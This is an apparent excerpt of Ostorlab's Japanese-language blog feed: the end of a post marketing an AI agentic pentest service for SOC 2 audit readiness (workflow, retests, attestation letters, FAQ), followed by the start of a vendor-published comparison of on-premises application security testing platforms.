&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"invoice_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"inv_99812"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"amount_usd"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;124500.00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"billing_contact"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"finance@fortune500-client.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"payment_method"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ACH_****8812"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="ユーザー固有の認可なしにデータが持ち出されることを再現可能な形で実証する、機密情報を除去した復号済みレスポンスペイロード" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-11_fastest_way_audit_ready_pentest_soc2/deterministic-exploit-proof.png" title="決定論的な実行時の悪用エビデンス"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;決定論的な実行時の悪用エビデンス&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図3：エージェントが生成した実行時の悪用の実証。復号されたレスポンスは実際のデータ露出を示しており、理論上のヒューリスティックではなく、侵害の明白な証明を監査人に提供します。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;この検出結果には、脆弱でないエンドポイントでは厳格なテナント分離のチェックが適用されていることを示す差分ベースラインチェックが添えられています。開発者は実行可能な再現コマンドを受け取り、監査人は悪用の明白な実証を受け取ります。&lt;/p&gt;
&lt;h3 id="2. 統合マルチアセットスタック:web、api、モバイル"&gt;2. 統合マルチアセットスタック：Web、API、モバイル&lt;/h3&gt;
&lt;p&gt;現代のSaaSアーキテクチャは、従来のWebアプリケーションにとどまりません。バックエンドのマイクロサービス、GraphQLゲートウェイ、ネイティブのモバイルクライアント（iOSとAndroid）が、企業顧客のデータを直接扱います。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="計画エージェントの目標、アタックサーフェスのマッピング、段階的な実行タスクを示す、文書化され検査可能なテスト手法" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-11_fastest_way_audit_ready_pentest_soc2/inspectable-testing-methodology.png" title="検査可能なテスト手法"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;検査可能なテスト手法&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図4：Ostorlab Agentic Deep Scanの検査可能なテスト手法。監査人は、名前の付いた計画エージェント、明示された目標、段階的な実行タスクを確認でき、正式なペネトレーションテスト基準への準拠を実証できます。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;単一用途のWebスキャナーでは、モバイルバイナリを逆コンパイルしたり、証明書ピンニングを回避したりすることはできません。Ostorlabは統合されたマルチアセットテストを提供します。
* &lt;strong&gt;WebとAPIのディープスキャン&lt;/strong&gt;：自律的な状態探索、OpenAPIおよびPostmanコレクションの取り込み、認可制御の動的テスト。
* &lt;strong&gt;モバイルの動的計装&lt;/strong&gt;：Monkey動的テストフレームワーク、実行時の計装、ローカルストレージのリスク検出を用いた、Android（APK）およびiOS（IPA）アプリケーションの自動テスト。
* &lt;strong&gt;アセット横断のピボット分析&lt;/strong&gt;：モバイルアプリにハードコードされたシークレットを発見し、それを連鎖させてバックエンドAPIのリソースを不正に取得すること。&lt;/p&gt;
&lt;h3 id="3. risk rerunsによるワンクリックの修復後再テスト"&gt;3. Risk Rerunsによるワンクリックの修復後再テスト&lt;/h3&gt;
&lt;p&gt;従来のペネトレーションテストでは、脆弱性を修正しても作業はまだ半分しか終わっていません。修正を確認するには、コンサルティング会社に連絡し、対応可能なテスターを待ち、多くの場合は再テストの追加料金を支払う必要があります。&lt;/p&gt;
&lt;p&gt;Ostorlabは、&lt;strong&gt;Risk Reruns&lt;/strong&gt;と&lt;strong&gt;Single Vulnerability Assessment（SVA）&lt;/strong&gt;によって、こうした運用上の摩擦をなくします。
1. 開発者が正確な再現ペイロードを確認し、コードの修正をステージング環境または本番環境に反映します。
2. エンジニアリングチームがワンクリックで、影響を受けるエンドポイントに対して対象を絞ったRisk Rerunを直接実行します。
3. 自律エージェントが、新しいセッションの認証情報を使って、まったく同じエクスプロイトチェーンを再実行します。
4. 攻撃がブロックされた場合、プラットフォームは検出結果のステータスを「Remediated」に更新し、タイムスタンプ付きの検証エントリを監査ログに記録します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="修復済みの検出結果を対象に絞って再テストするためのOstorlab Risk Rerunsインターフェース" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-11_fastest_way_audit_ready_pentest_soc2/risk-reruns-retest.webp" title="Ostorlab Risk Rerunsの再テストインターフェース"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Ostorlab Risk Rerunsの再テストインターフェース&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図5：ワンクリックのRisk Rerunsインターフェース。開発者はパッチを適用した攻撃ベクトルを即座に再テストでき、監査人が修復完了の承認に用いる、暗号学的にタイムスタンプが付与された検証記録が作成されます。&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="4. 検証と説明責任を伴う証明"&gt;4. 検証と説明責任を伴う証明&lt;/h3&gt;
&lt;p&gt;各AI Pentestパッケージには、エージェントが確定したすべての検出結果に対する実際に動作するエクスプロイトと、再テスト期間が含まれます。人間による検証はすべてのパッケージに含まれるわけではありません。どのプランに含まれるか、またはアドオンとして利用できるかは、&lt;a href="https://ostorlab.co/plans"&gt;プランの比較&lt;/a&gt;をご覧ください。最終的なレポートパッケージには次のものが含まれます。
* 秘密保持契約のもとで経営層と企業の購入側に提供する、概要レベルのリスク指標を含むエグゼクティブサマリー。
* 包括的な技術スコープと手法の対応付け（NIST SP 800-115、OWASP WSTG）。
* 未解決のクリティカルまたは高の脆弱性がゼロであることを示す、検証済みの修復ログ。
* 主要なコンプライアンスプラットフォーム（Vanta、Drata、Secureframe）で受け入れられる、署名入りの正式な証明書（Letter of Attestation）。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="スタートアップが約1週間で監査対応のペンテストレポートを入手する方法"&gt;スタートアップが約1週間で監査対応のペンテストレポートを入手する方法&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;スタートアップは、4つのフェーズからなるペンテストワークフローに従うことで、Coreアセスメントであれば最初のスコープ定義から署名入りの監査対応の証明書（Letter of Attestation）まで、推定5～7日で進めることができます&lt;/strong&gt;（Advancedは10～14日、Eliteは15～20日）。以下のフェーズは作業の順序を示したもので、所要期間を保証するものではありません。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;2026年10月1日更新：本記事の所要期間と人間による検証に関する記述を、現在の&lt;a href="https://ostorlab.co/plans"&gt;プラン&lt;/a&gt;ページに合わせて修正しました。2026年10月5日更新：提供していないセキュリティバッジに関する記述を削除しました。&lt;/em&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;フェーズ1：スコープの受け付けとシード認証情報&lt;/strong&gt;：SOC 2のシステム記述書に記載された顧客データの境界を定義します。WebのURL、APIスキーマ、モバイルバイナリを取り込み、マルチテナントの認可制御をテストするために、異なる2つのユーザー認証情報を提供します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;フェーズ2：自律型のAgentic Deep Scan&lt;/strong&gt;：自律エージェントがアプリケーションの状態をマッピングし、インデックスされていないエンドポイントを発見し、認証、認可、ロジックのワークフロー全体でエクスプロイトチェーンを実行します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;フェーズ3：開発者による対象を絞った修復&lt;/strong&gt;：開発者は、優先順位付けされたクリティカルおよび高の検出結果をレビューします。各検出結果には、アセットに応じた再現エビデンス（Web/APIについてはHTTPトレースとcurlコマンド、モバイルアプリケーションについてはIPCトリガーと実行時ログ、コードレベルの検出結果については検証済みの実行パス）が添えられているため、エンジニアはトリアージで迷うことなく根本原因を修正できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;フェーズ4：ワンクリックの再テストとLoAのエクスポート&lt;/strong&gt;：エンジニアリングチームは、含まれている再テスト期間内に、パッチを適用した攻撃ベクトルに対してRisk Rerunsを実行します。検証済みの修正完了が記録され、証明書（Letter of Attestation）と監査パッケージが提供されて、調達プロセスの停滞が解消されます。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr/&gt;
&lt;h2 id="soc 2のペンテストに関するよくある質問"&gt;SOC 2のペンテストに関するよくある質問&lt;/h2&gt;
&lt;h3 id="soc 2監査人はai主導のペネトレーションテストレポートを受け入れるか"&gt;SOC 2監査人はAI主導のペネトレーションテストレポートを受け入れるか&lt;/h3&gt;
&lt;p&gt;はい。AICPAのトラストサービス規準（TSP Section 100）が定めているのはテストの厳密さとエビデンスの基準であり、テスターが生身の人間であるかどうかではありません。主要なCPA監査法人は、アセスメントが確立された手法（NIST SP 800-115やOWASP WSTGなど）に従い、決定論的な悪用の実証を含み、定義されたテストスコープを提示し、修復を確認する、人間がレビューした独立した証明書（Letter of Attestation）を含んでいれば、エージェント型のペネトレーションテストを受け入れます。&lt;/p&gt;
&lt;h3 id="オンデマンドのエージェント型ペンテストは自動脆弱性スキャンとどう違うのか"&gt;オンデマンドのエージェント型ペンテストは自動脆弱性スキャンとどう違うのか&lt;/h3&gt;
&lt;p&gt;自動脆弱性スキャナーは、静的なパターンマッチング、個別のペイロードチェック、バージョンバナーの検査に依存しており、悪用可能性を確認することなく高い誤検知率を生み出します。エージェント型のペネトレーションテストは、アプリケーションのワークフローと能動的にやり取りし、動的にエクスプロイトを生成し、複数の弱点を連鎖させ、異なるアカウント間で認可の境界を検証し、検証済みの概念実証（PoC）エビデンスを提供します。&lt;/p&gt;
&lt;h3 id="企業の調達部門が求めるのは完全な技術レポートか、それとも証明書だけか"&gt;企業の調達部門が求めるのは完全な技術レポートか、それとも証明書だけか&lt;/h3&gt;
&lt;p&gt;企業の購入側は通常、秘密保持契約のもとで、署名入りの証明書（LoA）と機密情報を除去したエグゼクティブサマリーを求めます。生の技術的な脆弱性レポートを共有すると、機密性の高いアプリケーションのエンドポイントや悪用手順が露出しますが、企業のリスクチームはそれらを必要としていません。証明書（Letter of Attestation）は、第三者としての独立性、スコープの網羅性、そして緩和されていない高またはクリティカルの脆弱性が存在しないことを確認するものです。&lt;/p&gt;
&lt;h3 id="ostorlabの料金は従来のペネトレーションテストと比べてどうか"&gt;Ostorlabの料金は従来のペネトレーションテストと比べてどうか&lt;/h3&gt;
&lt;p&gt;従来のペネトレーションテストのコンサルティング会社は、ある時点のアセスメントに対して15,000ドルから40,000ドルの見積もりを提示し、数週間の待ち時間が発生します。Ostorlabは透明性のある段階的な料金体系を提供しており、スコープを定めたCore AI Pentestパッケージはオンデマンドで499ドルから利用でき（アプリケーションのスコープと複雑さに応じて透明性をもって変動）、マルチアセット対応と再テスト期間が含まれます。人間による検証の有無はプランによって異なります。&lt;a href="https://ostorlab.co/plans"&gt;プランの比較&lt;/a&gt;をご覧ください。&lt;/p&gt;
&lt;h3 id="エージェント型のペネトレーションテストはsoc 2 type 2の観察期間に対応できるか"&gt;エージェント型のペネトレーションテストはSOC 2 Type 2の観察期間に対応できるか&lt;/h3&gt;
&lt;p&gt;はい。SOC 2 Type 2監査では、3～12か月の期間にわたって統制が継続的に有効であることの実証が求められます。従来の年1回のペンテストでは、何か月分ものコード変更がエビデンスのないまま残ります。オンデマンドのエージェント型テストであれば、セキュリティチームは主要なリリースのたびに定期的なアセスメントを実行でき、監査期間全体を通じて途切れのないエビデンスの記録を確立できます。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="基準と一次参考文献"&gt;基準と一次参考文献&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;American Institute of Certified Public Accountants (AICPA). &lt;em&gt;Trust Services Criteria for Security, Availability, Processing Integrity, Confidentiality, and Privacy (TSP Section 100)&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;National Institute of Standards and Technology (NIST). &lt;em&gt;Technical Guide to Information Security Testing and Assessment (NIST SP 800-115)&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Open Web Application Security Project (OWASP). &lt;em&gt;Web Security Testing Guide (WSTG v4.2)&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Open Web Application Security Project (OWASP). &lt;em&gt;API Security Top 10&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Shared Assessments. &lt;em&gt;Standardized Information Gathering (SIG Lite) Questionnaire&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Cloud Security Alliance (CSA). &lt;em&gt;Consensus Assessments Initiative Questionnaire (CAIQ v4)&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Security"/><category term="SOC 2"/><category term="Penetration Testing"/><category term="Compliance"/><category term="AI Pentest"/><category term="Agentic Deep Scan"/><category term="Vendor Risk Assessment"/></entry><entry><title>おすすめのオンプレミス型AppSecテストプラットフォーム（2026年）</title><link href="https://blog.ostorlab.co/ja/best-on-premises-application-security-testing-platforms-2026.html" rel="alternate"/><published>2026-09-15T10:00:00+02:00</published><updated>2026-09-15T10:00:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-09-15:/ja/best-on-premises-application-security-testing-platforms-2026.html</id><summary type="html">&lt;p&gt;オンプレミスでのAppSecテストについて、Ostorlab、Invicti、Burp Suite DAST、HCL AppScan、Fortifyを、デプロイモデル、データ管理、プライベートな対象へのアクセスの観点で比較します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;2026年のおすすめのオンプレミス型アプリケーションセキュリティテストプラットフォームは、&lt;strong&gt;Ostorlab&lt;/strong&gt;、&lt;strong&gt;Invicti Enterprise On-Premises&lt;/strong&gt;、&lt;strong&gt;PortSwigger Burp Suite DAST&lt;/strong&gt;、&lt;strong&gt;HCL AppScan&lt;/strong&gt;、&lt;strong&gt;OpenText Fortify&lt;/strong&gt; です。これらのソリューションは、クラウドでのオーケストレーションを伴うローカルにデプロイされたスキャンエンジン、または顧客が管理する完全セルフホストのインフラのいずれかを通じて、企業のファイアウォールの内側にあるプライベートなWebアプリケーション、API、ソースコード、モバイルアセットを保護します。&lt;/p&gt;
&lt;h3 id="編集方針に関する開示"&gt;編集方針に関する開示&lt;/h3&gt;
&lt;p&gt;この比較はOstorlabが公開しており、公開されているファーストパーティのドキュメントに基づいています。脆弱性のカバレッジ、スキャン速度、誤検知（フォールスポジティブ）率、デプロイコストに関する独立したベンチマークを示すものではありません。製品の機能、アーキテクチャ、ライセンス、データフローは、各ベンダーに直接確認してください。&lt;/p&gt;
&lt;h2 id="オンプレミス型アプリケーションセキュリティテストプラットフォームの比較"&gt;オンプレミス型アプリケーションセキュリティテストプラットフォームの比較&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;プラットフォーム&lt;/th&gt;
&lt;th style="text-align: left;"&gt;デプロイモデル&lt;/th&gt;
&lt;th style="text-align: left;"&gt;文書化されたテストスコープ&lt;/th&gt;
&lt;th style="text-align: left;"&gt;重要な違い&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;クラウドベースの管理を伴うローカルスキャナー&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Webアプリケーション、API、ネットワーク、モバイルアプリケーション、ソースコード、エージェント型アセスメントにわたるマルチアセットのカバレッジ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;プライベートな対象はオンプレミスのスキャナーを通じてテストされ、オーケストレーションとレポート作成はクラウドで管理される&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Invicti Enterprise On-Premises&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;顧客がホストするエンタープライズ向けDASTプラットフォーム&lt;/td&gt;
&lt;td style="text-align: left;"&gt;WebアプリケーションとAPI&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アプリケーション、スキャンコンポーネント、管理インフラが顧客の環境内にデプロイされる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Burp Suite DAST&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;セルフホストのエンタープライズ向けDAST&lt;/td&gt;
&lt;td style="text-align: left;"&gt;WebアプリケーションとAPI&lt;/td&gt;
&lt;td style="text-align: left;"&gt;組織が自らの環境内でDASTのデプロイとスキャンインフラを管理する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;HCL AppScan&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;セルフマネージドおよびプライベートサイトのデプロイオプション&lt;/td&gt;
&lt;td style="text-align: left;"&gt;製品に応じて、DAST、SAST、SCA、および関連するAppSecワークフロー&lt;/td&gt;
&lt;td style="text-align: left;"&gt;デプロイとテストの機能は、AppScan Standard、Enterprise、AppScan on Cloudで異なる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;OpenText Fortify&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;顧客管理型およびハイブリッドのエンタープライズAppSecオプション&lt;/td&gt;
&lt;td style="text-align: left;"&gt;SAST、DAST、SCA、ソフトウェアセキュリティのガバナンス&lt;/td&gt;
&lt;td style="text-align: left;"&gt;機能は一つの統一されたプラットフォームではなく、複数のFortify製品に分散している&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;購入時の主な問いは、単にベンダーが「オンプレミス」という言葉を使っているかどうかではありません。どのコンポーネントがローカルで実行されるのか、どの情報が環境の外に出るのか、そして結果として得られるアーキテクチャが組織のセキュリティとコンプライアンスの要件を満たすかどうかです。&lt;/p&gt;
&lt;h2 id="オンプレミス型アプリケーションセキュリティテストとは"&gt;オンプレミス型アプリケーションセキュリティテストとは&lt;/h2&gt;
&lt;p&gt;オンプレミス型アプリケーションセキュリティテストは、組織のネットワーク内、または顧客が管理する別の環境内にデプロイされたインフラから、アプリケーションを評価するものです。&lt;/p&gt;
&lt;p&gt;組織は一般に、次のものをテストするためにこれを使用します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;社内Webアプリケーション&lt;/li&gt;
&lt;li&gt;プライベートAPI&lt;/li&gt;
&lt;li&gt;開発環境とステージング環境&lt;/li&gt;
&lt;li&gt;プライベートネットワーク経由でのみアクセスできるアプリケーション&lt;/li&gt;
&lt;li&gt;ソースコードリポジトリ&lt;/li&gt;
&lt;li&gt;モバイルアプリケーションのパッケージ&lt;/li&gt;
&lt;li&gt;ネットワークサービス&lt;/li&gt;
&lt;li&gt;規制やデータ所在地の要件によって制限されたシステム&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ただし、「オンプレミス」はいくつかの異なるアーキテクチャを指すことがあります。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;デプロイモデル&lt;/th&gt;
&lt;th style="text-align: left;"&gt;ローカルで実行されるもの&lt;/th&gt;
&lt;th style="text-align: left;"&gt;外部に残る可能性があるもの&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;オンプレミススキャナー&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;プライベートな対象と通信するスキャンエンジン&lt;/td&gt;
&lt;td style="text-align: left;"&gt;管理、スケジューリング、検出結果、レポート作成&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;ハイブリッドプラットフォーム&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;選択されたスキャナー、コネクター、処理コンポーネント&lt;/td&gt;
&lt;td style="text-align: left;"&gt;中央のプラットフォームとオーケストレーション&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;セルフホストプラットフォーム&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;スキャン、管理、データ保存、レポート作成&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ライセンスや更新のサービスでは引き続き接続が必要な場合がある&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;エアギャップデプロイ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;プラットフォーム全体とそれを支えるサービス&lt;/td&gt;
&lt;td style="text-align: left;"&gt;外部サービスへの運用上の依存はない&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;これらのモデルを互いに置き換え可能なものとして扱うべきではありません。ローカルにデプロイされたスキャナーはプライベートなアセットに到達できますが、それはすべてのアプリケーションデータ、検出結果、プラットフォーム機能が自動的に環境内にとどまることを意味するわけではありません。&lt;/p&gt;
&lt;h2 id="組織が評価すべき点"&gt;組織が評価すべき点&lt;/h2&gt;
&lt;h3 id="デプロイの境界"&gt;デプロイの境界&lt;/h3&gt;
&lt;p&gt;購入者は、アセスメントに関わるすべてのコンポーネントを特定すべきです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;スキャンエンジン&lt;/li&gt;
&lt;li&gt;管理コンソール&lt;/li&gt;
&lt;li&gt;データベース&lt;/li&gt;
&lt;li&gt;メッセージキュー&lt;/li&gt;
&lt;li&gt;ブラウザー自動化&lt;/li&gt;
&lt;li&gt;動的解析のインフラ&lt;/li&gt;
&lt;li&gt;ソースコードの処理&lt;/li&gt;
&lt;li&gt;レポートシステム&lt;/li&gt;
&lt;li&gt;更新サービス&lt;/li&gt;
&lt;li&gt;AIまたはモデルのエンドポイント&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ベンダーは、各コンポーネントがどこで実行され、コンポーネント間で情報がどのように移動するかを説明すべきです。&lt;/p&gt;
&lt;h3 id="データの処理と保存"&gt;データの処理と保存&lt;/h3&gt;
&lt;p&gt;組織は、次のデータがどこで処理・保持されるかを確認すべきです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ソースコード&lt;/li&gt;
&lt;li&gt;アプリケーションのバイナリ&lt;/li&gt;
&lt;li&gt;認証情報&lt;/li&gt;
&lt;li&gt;セッションCookieとトークン&lt;/li&gt;
&lt;li&gt;HTTPリクエストとレスポンス&lt;/li&gt;
&lt;li&gt;API仕様&lt;/li&gt;
&lt;li&gt;脆弱性のエビデンス&lt;/li&gt;
&lt;li&gt;スキャンログ&lt;/li&gt;
&lt;li&gt;検出結果とレポート&lt;/li&gt;
&lt;li&gt;AI/エージェントとのやり取りのデータ&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;プラットフォームは、ローカルでスキャンしながらも、結果やメタデータを外部のコントロールプレーンに送信している場合があります。それが許容できるかどうかは、組織の脅威モデルとコンプライアンス上の義務によって決まります。&lt;/p&gt;
&lt;h3 id="プライベートな対象へのアクセス"&gt;プライベートな対象へのアクセス&lt;/h3&gt;
&lt;p&gt;プラットフォームは、社内アプリケーションを公開することなく、それらに到達できるべきです。&lt;/p&gt;
&lt;p&gt;価値実証（PoV）では、プライベートDNS、社内の認証局、認証が必要なアプリケーション、セグメント化されたネットワーク、プロキシ、その他本番環境に存在する制御をテストすべきです。&lt;/p&gt;
&lt;h3 id="テストのカバレッジ"&gt;テストのカバレッジ&lt;/h3&gt;
&lt;p&gt;デプロイの柔軟性は、テストの品質を保証するものではありません。購入者は、提案された製品が次の必要な組み合わせをサポートしているかどうかを別途評価すべきです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;動的アプリケーションセキュリティテスト&lt;/li&gt;
&lt;li&gt;静的アプリケーションセキュリティテスト&lt;/li&gt;
&lt;li&gt;ソフトウェア構成分析&lt;/li&gt;
&lt;li&gt;APIセキュリティテスト&lt;/li&gt;
&lt;li&gt;モバイルアプリケーションのテスト&lt;/li&gt;
&lt;li&gt;ネットワークセキュリティスキャン&lt;/li&gt;
&lt;li&gt;認証付きのアセスメント&lt;/li&gt;
&lt;li&gt;エージェント型または複数ステップの調査（詳細な対象指定プロンプト）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;プラットフォームによっては、オンプレミスのDASTは強力でも、ソースコードや依存関係のテストには別の製品が必要な場合があります。&lt;/p&gt;
&lt;h3 id="運用と保守"&gt;運用と保守&lt;/h3&gt;
&lt;p&gt;セルフホストでは、運用上の責任が顧客に移ります。これには次のようなものが含まれます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;インフラのサイジング&lt;/li&gt;
&lt;li&gt;高可用性&lt;/li&gt;
&lt;li&gt;データベース管理&lt;/li&gt;
&lt;li&gt;プラットフォームのアップグレード&lt;/li&gt;
&lt;li&gt;スキャナーの更新&lt;/li&gt;
&lt;li&gt;バックアップ&lt;/li&gt;
&lt;li&gt;証明書管理&lt;/li&gt;
&lt;li&gt;監視&lt;/li&gt;
&lt;li&gt;災害復旧&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ハイブリッドアーキテクチャはその負担の一部を軽減しますが、外部プラットフォームへの依存を生み出します。&lt;/p&gt;
&lt;h2 id="この比較で明らかになったこと"&gt;この比較で明らかになったこと&lt;/h2&gt;
&lt;h3 id="オンプレミスに一つの標準的な意味はない"&gt;オンプレミスに一つの標準的な意味はない&lt;/h3&gt;
&lt;p&gt;最大の混乱の原因は、この言葉そのものです。ローカルスキャナー、ハイブリッドサービス、完全セルフホストのプラットフォームは、ベンダーがいずれもオンプレミスの機能と説明することがあっても、それぞれ異なる要件を満たすものです。&lt;/p&gt;
&lt;p&gt;デプロイのラベルだけよりも、アーキテクチャ図と文書化されたデータフローのほうが役に立ちます。&lt;/p&gt;
&lt;h3 id="プライベートなアクセスとデータ主権は別の要件である"&gt;プライベートなアクセスとデータ主権は別の要件である&lt;/h3&gt;
&lt;p&gt;スキャナーが社内アプリケーションをテストしていても、プラットフォームが検出結果を外部に保存している場合があります。逆に、完全セルフホストのプラットフォームはアセスメントのデータをローカルにとどめられますが、大幅に多くのインフラと保守が必要になります。&lt;/p&gt;
&lt;p&gt;購入者は、対象へのアクセスとデータの管理をそれぞれ独立して評価すべきです。&lt;/p&gt;
&lt;h3 id="テストの幅は製品ファミリーによって異なる"&gt;テストの幅は製品ファミリーによって異なる&lt;/h3&gt;
&lt;p&gt;エンタープライズ向けDASTに集中しているプラットフォームもあります。一方で、複数の製品やスキャンプロファイルを通じて、静的、動的、依存関係、モバイル、ネットワーク、エージェント型のテストを組み合わせているものもあります。&lt;/p&gt;
&lt;p&gt;したがって比較では、ベンダーが宣伝するすべての機能がオンプレミスで利用できると想定するのではなく、提案されたデプロイに含まれる正確なコンポーネントを評価すべきです。&lt;/p&gt;
&lt;h3 id="エアギャップ対応は明示的に確認する必要がある"&gt;エアギャップ対応は明示的に確認する必要がある&lt;/h3&gt;
&lt;p&gt;セルフホストのインストールが必ずしもエアギャップ対応であるとは限りません。ライセンス、シグネチャの更新、テレメトリ、外部へのコールバック、AI機能、製品のアップグレードには接続が必要な場合があります。&lt;/p&gt;
&lt;p&gt;隔離の要件がある組織は、選定の前にそれらの依存関係をテストすべきです。&lt;/p&gt;
&lt;h2 id="プラットフォームの評価"&gt;プラットフォームの評価&lt;/h2&gt;
&lt;h3 id="ostorlab"&gt;Ostorlab&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：クラウドで管理されるオーケストレーションとレポート作成を伴うハイブリッドなオンプレミススキャンと、Web、API、モバイル、ネットワーク、エージェント型アセスメントにわたるマルチアセットのカバレッジ。&lt;/p&gt;
&lt;p&gt;Ostorlabは、公開インターネットからアクセスできないアセットを評価するための&lt;a href="https://docs.ostorlab.co/onprem_scanner/index.html"&gt;On-Premises Scanner&lt;/a&gt;を提供しています。&lt;/p&gt;
&lt;p&gt;スキャナーは顧客の環境内にデプロイされ、Ostorlabプラットフォームへのアウトバウンド接続を開始します。これにより、スキャンタスクを受け取り、プライベートなWebアプリケーション、API、ネットワークアセット、その他のサポート対象を、それらへのインバウンドアクセスを開放することなく評価できます。&lt;/p&gt;
